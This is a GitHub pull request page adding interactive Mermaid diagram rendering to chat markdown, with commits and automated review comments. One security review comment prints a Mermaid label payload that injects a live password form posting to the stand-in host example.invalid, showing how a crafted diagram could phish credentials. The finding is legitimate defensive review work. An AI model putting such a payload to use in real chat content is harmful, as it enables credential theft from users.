Repository navigation
[AGE-2969] Render interactive mermaid diagrams in chat markdown - #1545
haripriya1909 wants to merge 9 commits into
Conversation
PR overviewThe PR adds interactive Mermaid diagram rendering to chat markdown through a React diagram component. Four issues have been addressed, but one remains open: diagram labels can render a live password form inside chat. This enables credential phishing if a user enters and submits sensitive information to an attacker-controlled destination. Open issues (1)
Fixed/addressed: 4 · PR risk: 6/10 Reviews |
b3fccb3 to
e65da90
Compare
e65da90 to
98b13f0
Compare
Closed mermaid fences render as diagrams with source/preview, copy, maximize, and SVG download; incomplete streaming fences stay as code. Co-authored-by: Cursor <cursoragent@cursor.com>
Stabilize mermaid config/memoization, render a single diagram when maximized, pin strict security, and sanitize click/HTML sinks. Dark theme entity/edge/label colors and bottom-right zoom controls included. Co-authored-by: Cursor <cursoragent@cursor.com>
98b13f0 to
66779d0
Compare
…n/fit, unified dark palette Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Cursor <cursoragent@cursor.com>
…ot pannable, dark SVG downloads, fit below 25% Co-authored-by: Cursor <cursoragent@cursor.com>
There was a problem hiding this comment.
Let's combine these 2 changeset files into one
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Cursor <cursoragent@cursor.com>
There was a problem hiding this comment.
Cursor Bugbot has reviewed your changes using default effort and found 3 potential issues.
❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.
Want higher recall? High effort reviews run extra passes and find more bugs. A team admin can switch effort levels in the Cursor dashboard.
Reviewed by Cursor Bugbot for commit 34c0b46. Configure here.
| const SyntaxHighlighter = useSlot('SyntaxHighlighter'); | ||
| const safeCode = useMemo(() => sanitizeMermaidSource(code), [code]); | ||
| // rehype-mermaid finds diagrams as markdown fences, so wrap the sanitized source back into one. | ||
| const fence = useMemo(() => `\`\`\`mermaid\n${safeCode}\n\`\`\``, [safeCode]); |
There was a problem hiding this comment.
Dark mode cannot override diagram colors
Medium Severity
Dark-mode retinting still depends on stylesheet overrides, but stripMermaidDiagramColors is gone, so classDef / style / linkStyle still reach mermaid. Those directives become inline and ID-scoped !important rules that page CSS cannot beat, so assistant-surface colors fail on typical generated diagrams.
Reviewed by Cursor Bugbot for commit 34c0b46. Configure here.
| /* Sequence actor names sit on tspans, which carry their own fill. */ | ||
| .aui-theme-root.dark .aui-mermaid-preview svg tspan { | ||
| fill: var(--color-gray-1000) !important; | ||
| } |
There was a problem hiding this comment.
Dark CSS misses several diagram types
Medium Severity
The dark-mode mermaid overrides dropped coverage for state, class, and ER diagrams (statediagram-state, stateGroup, classGroup, rect.entityBox, .relation) and replaced the global svg :is(text, tspan) / foreignObject text rules with a narrower class list. Those chart types no longer pick up the theme text and fill tokens.
Reviewed by Cursor Bugbot for commit 34c0b46. Configure here.
| Wrench, | ||
| X, | ||
| ZoomIn, | ||
| ZoomOut, |
There was a problem hiding this comment.
Unused zoom icons left in registry
Low Severity
ZoomIn / ZoomOut and the zoom-in / zoom-out registry entries are unused after zoom controls were removed. scan and rotate-ccw were cleaned up in the same change, but these two were left behind.
Additional Locations (1)
Triggered by project rule: TrueForge review rules
Reviewed by Cursor Bugbot for commit 34c0b46. Configure here.
| [ | ||
| rehypeMermaid, | ||
| { | ||
| strategy: 'inline-svg', |
There was a problem hiding this comment.
Medium: HTML form injection through diagram labels
This rendering path leaves Mermaid's HTML labels enabled, and I verified that the following source survives sanitization and the real rehype/React pipeline as a live password form, enabling credential phishing inside chat:
graph TD
A["<form action='https://example.invalid' method='post'><input type='password' name='password'/><button>Sign in</button></form>"]
Disable HTML labels using top-level htmlLabels: false on the actual browser Mermaid instance before rendering, or isolate/allowlist the output; adding only mermaidConfig to these plugin options is ineffective because the browser renderer in mermaid-isomorphic@3.1.0 ignores it.


Summary
mermaidfenced blocks in chat markdown as diagrams via a newMermaidDiagramatom (react-markdown-mermaid)@truefoundry/trueforge-ui/@truefoundry/trueforgeTest plan
```mermaidflowchart/sequence in chat and confirm it renders as a diagram (not a code fence)pnpm --filter @truefoundry/trueforge-ui exec vitest run test/atoms/MermaidDiagram.test.tsx test/atoms/Markdown.test.tsxMade with Cursor
Note
Medium Risk
Untrusted mermaid content is rendered as SVG in the DOM with sanitization and download hardening, which is security-sensitive though deliberately constrained; bundle size grows via the mermaid/rehype dependency chain.
Reviewed by Cursor Bugbot for commit 34c0b46. Bugbot is set up for automated code reviews on this repo. Configure here.